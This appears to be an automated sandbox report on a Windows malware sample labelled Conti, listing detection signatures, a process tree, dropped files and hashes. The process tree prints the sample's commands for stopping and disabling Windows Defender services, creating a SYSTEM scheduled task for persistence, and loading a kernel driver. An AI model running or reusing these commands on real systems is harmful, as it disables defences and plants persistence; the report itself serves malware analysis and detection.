Analysis

  • max time kernel
    148s
  • max time network
    115s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    23/07/2026, 12:57

General

  • Target
    2026-07-23_5a0fb7a022014bed9ba3c6b4b0d4be14_conti.exe
  • Size 418KB
  • Sample260723-p6934szamd
  • SHA256 5b8035a132693aab231fd1c6d0f0c99396192b563067a0d0749093daea3b5fb7
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
  • Detects Windows executables referencing non-Windows User-Agents 2 IoCs
  • Detects executables (downlaoders) containing URLs to raw contents of a paste 2 IoCs
  • Detects executables embedding registry key / value combination indicative of disabling Windows Defen 3 IoCs
  • Creates new service(s) 2 TTPs
  • Disables service(s) 3 TTPs
  • Executes dropped EXE 2 IoCs
  • Modifies service settings 1 TTPs

    Alters the configuration of existing services.

  • Stops running service(s) 4 TTPs
  • Adds Run key to start application 2 TTPs 2 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Launches sc.exe 9 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 11 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-07-23_5a0fb7a022014bed9ba3c6b4b0d4be14_conti.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-07-23_5a0fb7a022014bed9ba3c6b4b0d4be14_conti.exe"
    1⤵
    • Modifies Windows Defender DisableAntiSpyware settings
    • Adds Run key to start application
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:3820
    • C:\Windows\SYSTEM32\sc.exe
      sc stop WinDefend 2>nul & sc config WinDefend start=disabled 2>nul
      2⤵
      • Launches sc.exe
      PID:5896
    • C:\Windows\SYSTEM32\sc.exe
      sc stop MsMpEng 2>nul & sc config MsMpEng start=disabled 2>nul
      2⤵
      • Launches sc.exe
      PID:4384
    • C:\Windows\SYSTEM32\sc.exe
      sc stop Sense 2>nul & sc config Sense start=disabled 2>nul
      2⤵
      • Launches sc.exe
      PID:4452
    • C:\Windows\SYSTEM32\sc.exe
      sc stop WdNisSvc 2>nul & sc config WdNisSvc start=disabled 2>nul
      2⤵
      • Launches sc.exe
      PID:4368
    • C:\Windows\SYSTEM32\sc.exe
      sc stop WdBoot 2>nul & sc config WdBoot start=disabled 2>nul
      2⤵
      • Launches sc.exe
      PID:5224
    • C:\Windows\SYSTEM32\sc.exe
      sc stop WdFilter 2>nul & sc config WdFilter start=disabled 2>nul
      2⤵
      • Launches sc.exe
      PID:3016
    • C:\Windows\SYSTEM32\sc.exe
      sc stop wscsvc 2>nul & sc config wscsvc start=disabled 2>nul
      2⤵
      • Launches sc.exe
      PID:1772
    • C:\Windows\SYSTEM32\schtasks.exe
      schtasks /create /f /tn "WindowsCacheSvc" /tr "C:\Users\Admin\AppData\Local\Microsoft\WindowsCaches\svchost.exe" /sc onstart /ru SYSTEM /rl highest
      2⤵
      • Scheduled Task/Job: Scheduled Task
      PID:3208
    • C:\Windows\SYSTEM32\sc.exe
      sc create BacteriaDrv binPath="C:\Users\Admin\AppData\Local\Temp\bactdrv.sys" type=kernel start=demand 2>nul
      2⤵
      • Launches sc.exe
      PID:5988
    • C:\Windows\SYSTEM32\sc.exe
      sc start BacteriaDrv 2>nul
      2⤵
      • Launches sc.exe
      PID:2372
    • C:\Users\Admin\AppData\Local\Microsoft\WindowsCaches\svchost_rat.exe
      C:\Users\Admin\AppData\Local\Microsoft\WindowsCaches\svchost_rat.exe
      2⤵
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      • Suspicious use of AdjustPrivilegeToken
      PID:5724
  • C:\Users\Admin\AppData\Local\Microsoft\WindowsCaches\svchost.exe
    C:\Users\Admin\AppData\Local\Microsoft\WindowsCaches\svchost.exe
    1⤵
    • Executes dropped EXE
    PID:2348

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

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        Downloads

        svchost.exe

        • Path C:\Users\Admin\AppData\Local\Microsoft\WindowsCaches\svchost.exe
        • Size 418KB
        • SHA256 5b8035a132693aab231fd1c6d0f0c99396192b563067a0d0749093daea3b5fb7
        • MD5 SHA1 SHA512 SSDEEP TLSH

        svchost_rat.exe

        • Path C:\Users\Admin\AppData\Local\Microsoft\WindowsCaches\svchost_rat.exe
        • Size 87KB
        • SHA256 19793bb306982cc9356cf9ccd958134f2519d8cab8d3dc1b4472465aeeeec486
        • MD5 SHA1 SHA512 SSDEEP TLSH

        memory/2348-7-0x00007FF606B60000-0x00007FF606BC7000-memory.dmp

        memory/3820-9-0x00007FF6E8FC0000-0x00007FF6E9027000-memory.dmp

        memory/5724-6-0x0000000000560000-0x000000000057C000-memory.dmp

        memory/5724-8-0x0000000005020000-0x0000000005086000-memory.dmp